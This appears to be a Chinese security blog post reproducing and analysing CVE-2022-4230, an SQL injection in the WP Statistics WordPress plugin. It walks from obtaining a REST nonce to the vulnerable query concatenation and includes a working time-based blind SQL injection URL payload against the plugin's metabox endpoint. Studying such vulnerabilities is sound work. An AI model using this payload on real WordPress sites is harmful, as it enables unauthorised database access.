freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

WordPress CVE-2022-4230复现分析
F12tcl 2024-05-02 15:43:20 207092

前言

开始CVE审计之旅
WP Statistics WordPress 插件13.2.9之前的版本不会转义参数,这可能允许经过身份验证的用户执行 SQL 注入攻击。默认情况下,具有管理选项功能 (admin+) 的用户可以使用受影响的功能,但是该插件有一个设置允许低权限用户也可以访问它,其实就是没对admin进行鉴权,只对nonce进行了处理

环境搭建

WordPress v6.1 (官网下载)
wp-statistics-13.2.8 (github上找)

前置知识

wordpress是一个非常灵活方便的CMS系统,它拥有着非常灵活的API处理机制(REST API)WordPress REST API为应用程序提供了一个接口,通过发送和接收JSON(JavaScript Object Notation)对象形式的数据,与WordPress站点进行交互。它是WordPress块编辑器的基础,同样可以使主题,插件或自定义应用程序呈现新的,强大的界面,用于管理和发布网站内容。
Wordpress自己重写了路由规则,通过/wp-json/开头对内部的插件,主题等等进行访问,不过通过REST API来访问,每次都给发送一个_wpnonce来进行认证

攻击测试

先访问http://127.0.0.1/wp-admin/admin-ajax.php?action=rest-nonce,拿到我们的_wpnonce
接着访问我们的插件的漏洞路径
http://127.0.0.1/wp-json/wp-statistics/v2/metabox?_wpnonce=ae42036543&name=words&search_engine=aaa%27%20AND%20(SELECT%205671%20FROM%20(SELECT(if(1,SLEEP(2),0)))Mdgs)--+
这样就可以实现一个时间盲注

漏洞分析

打个断点进行调试分析,首先因为通过api来进行请求会进行一个nonce认证,我们在认证处(rest-api.php)打个断点
image.png
这里接受我们的_wpnonce,调用了wp_verify_nonce方法,跟进这个方法

function wp_verify_nonce( $nonce, $action = -1 ) {
  $nonce = (string) $nonce;
  $user  = wp_get_current_user();
  $uid   = (int) $user->ID;
  if ( ! $uid ) {
    /**
			 * Filters whether the user who generated the nonce is logged out.
			 *
			 * @since 3.5.0
			 *
			 * @param int        $uid    ID of the nonce-owning user.
			 * @param string|int $action The nonce action, or -1 if none was provided.
			 */
    $uid = apply_filters( 'nonce_user_logged_out', $uid, $action );
  }

  if ( empty( $nonce ) ) {
    return false;
  }

  $token = wp_get_session_token();
  $i     = wp_nonce_tick( $action );

  // Nonce generated 0-12 hours ago.
  $expected = substr( wp_hash( $i . '|' . $action . '|' . $uid . '|' . $token, 'nonce' ), -12, 10 );
  if ( hash_equals( $expected, $nonce ) ) {
    return 1;
  }

  // Nonce generated 12-24 hours ago.
  $expected = substr( wp_hash( ( $i - 1 ) . '|' . $action . '|' . $uid . '|' . $token, 'nonce' ), -12, 10 );
  if ( hash_equals( $expected, $nonce ) ) {
    return 2;
  }

  /**
		 * Fires when nonce verification fails.
		 *
		 * @since 4.4.0
		 *
		 * @param string     $nonce  The invalid nonce.
		 * @param string|int $action The nonce action.
		 * @param WP_User    $user   The current user object.
		 * @param string     $token  The user's session token.
		 */
  do_action( 'wp_verify_nonce_failed', $nonce, $action, $user, $token );

  // Invalid nonce.
  return false;
}

这里面首先对用户身份进行一个认证,要是没登录的话就寄,然后对nonce进行一个对比,这里有两处对比,满足任意皆可,不过不是很明白为什么要分时间段认证,因为我们通过api接口拿到的nonce,肯定是能过认证的,返回之后,中间有些dispatch和callback调用之类的,我们就不看了,直接来到我们的插件处

public function register_routes()
  {

    // Get Admin Meta Box
    register_rest_route(self::$namespace, '/metabox', array(
      array(
        'methods'             => \WP_REST_Server::READABLE,
        'callback'            => array($this, 'meta_box_callback'),
        'args'                => array(
          'name' => array(
            'required' => true
          )
        ),
        'permission_callback' => function (\WP_REST_Request $request) {

          // Check User Auth
          $user = wp_get_current_user();
          if ($user->ID == 0) {
            return false;
          }

          return current_user_can(Option::get('read_capability', 'manage_options'));
        }
      )
    ));
  }

这里注册了一个路由,定义了一个permission_callback,我们跟进current_user_can,兜兜转转来到class-wp-reset-server.php
image.png
image.png
看这里request中需要有name参数,我们传的是name=words,这里就会调用Meta_Box中的words类,跟进

class words
{

    public static function get($args = array())
    {

        // Prepare Response
        try {
            $response = SearchEngine::getLastSearchWord($args);
        } catch (\Exception $e) {
            $response = array();
        }

        // Check For No Data Meta Box
        if (count(array_filter($response)) < 1) {
            $response['no_data'] = 1;
        }

        // Response
        return $response;
    }

}

words类很简单,我们跟进SearchEngine::getLastSearchWord
image.png
这里解析我们的GET参数,然后直接拼接到这个sql语句里了,没有做任何的处理也就导致了注入

$wpdb->get_results("SELECT * FROM `" . DB::table('search') . "` INNER JOIN `" . DB::table('visitor') . "` on `" . DB::table('search') . "`.`visitor` = " . DB::table('visitor') . ".`ID` WHERE {$search_query} ORDER BY `" . DB::table('search') . "`.`ID` DESC " . ($args['limit'] != null ? " LIMIT " . $args['limit'] : " LIMIT 0, {$args['per_page']}"));

注入点是这个$search_query$args['search_engine']是由我们控制的,最终在where处实现注入
image.png

# web安全 # 漏洞分析
本文为 F12tcl 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
F12tcl LV.1
这家伙太懒了,还未填写个人描述!
  • 1 文章数
  • 0 关注者